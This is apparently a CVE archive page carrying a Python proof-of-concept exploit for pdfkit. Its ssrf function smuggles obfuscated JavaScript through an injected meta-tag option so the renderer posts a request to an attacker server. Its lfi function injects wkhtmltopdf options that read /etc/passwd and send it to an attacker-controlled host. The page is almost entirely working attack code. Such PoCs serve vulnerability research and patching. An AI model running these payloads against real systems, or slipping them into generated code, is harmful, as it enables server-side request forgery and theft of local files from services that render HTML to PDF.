4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import base64
import pdfkit


def ssrf():
    attacker_server = "http://127.0.0.1:8888"

    helper_function = """function parse(payload){var result=String();payload.forEach(function(item){result+=String.fromCharCode(item);});return atob(result)}"""

    payload = f"""
        function reqListener() {{
        console.log(this.responseText);
        }};
        var xhttp = new XMLHttpRequest();
        xhttp.addEventListener("load", reqListener);
        xhttp.open("POST", "{attacker_server}/SSRF-TEST", true);
        xhttp.send();
        """.replace("\n", "")
    payload = base64.b64encode(payload.encode()).decode()
    payload = "[" + ",".join([str(ord(ch)) for ch in payload]) + "]"

    html_content = f"""
    <meta name='pdfkit---run-script' content='{helper_function};eval(parse({payload}))'>
    """
    pdfkit.from_string(html_content, "output.pdf")


def lfi():
    filename = "/etc/passwd"
    attacker_server = "http://127.0.0.1:8080"

    html_content = f"""    
    <meta name='pdfkit---quiet' content=''>
    <meta name='pdfkit---enable-local-file-access' content=''>
    <meta name='pdfkit---post-file' content=''>
    <meta name='pdfkit-file--a' content='{filename}'>
    <meta name='pdfkit-{attacker_server}/?LFI-TEST=--' content='--cache-dir'>
    <h1>SSRF POC</h1>
    """
    pdfkit.from_string(html_content, "output.pdf")